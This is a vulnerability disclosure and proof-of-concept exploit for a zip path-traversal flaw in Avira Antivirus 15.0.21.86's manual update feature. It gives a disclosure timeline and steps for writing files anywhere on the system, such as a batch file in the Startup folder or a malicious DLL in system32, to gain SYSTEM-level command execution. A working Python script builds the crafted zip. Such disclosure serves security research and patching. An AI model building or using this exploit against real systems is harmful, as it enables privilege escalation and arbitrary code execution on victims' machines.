Avira Antivirus 15.0.21.86 – ‘.zip’ Directory Traversal / Command Execution
# Title : Avira Antivirus >= 15.0.21.86 Command Execution (SYSTEM) # Date : 08/11/2016 # Author : R-73eN # Tested on: Avira Antivirus 15.0.21.86 in Windows 7 # Vendor : https://www.avira.com/ # Disclosure Timeline: # 2016-06-28 - Reported to Vendor through Bugcrowd. # 2016-06-29 - Vendor Replied. # 2016-07-05 - Vendor Replicated the vulnerability. # 2016-09-02 - Vendor released updated version which fix the vulnerability. # 2016-11-08 - Public Disclosure # I would like to thank Avira security team for the quick response. # # Vulnerability Description: # When the Avira Launcher manual update imports a zip file doesn't checks for " ../ " # characters which makes it possible to do a path traversal and write anywhere in the system. # Vulnerability Replication # 1. Create a special crafted zip file with the python script attached. # 2. The script will create a zip file named xvdf_fusebundle.zip with a filename test.bat (this can be changed) and will write this file to the root directory C:\ # 3. You can change the directory go to startup and when the user reboots the script will get executed or you can write a malicious dll to a program directory or # system32 directory which will get loaded and we gain remote command execution. # 4. Open avira free antivirus # 5. Go to update -> Manual Update # 6. Select the malicious file # 7. Directory traversal was sucessfull # Youtube Video: https://www.youtube.com/watch?v=IIEgWiDcw2Q # POC: #!/usr/bin/python -w banner = "" banner += " ___ __ ____ _ _ \n" banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n" banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n" banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n" banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n" print banner import zipfile, sys if(len(sys.argv) != 2): print "[+] Usage : python exploit.py file_to_do_the_traversal [+]" print "[+] Example: python exploit.py test.txt" exit(0) print "[+] Creating Zip File [+]" zf = zipfile.ZipFile("xvdf_fusebundle.zip", "w") zf.write(sys.argv[1], "..\\..\\..\\..\\..\\..\\..\\..\\test.bat") zf.close() print "[+] Created xvdf_fusebundle.zip successfully [+]" # Fix: # Update to the latest version. |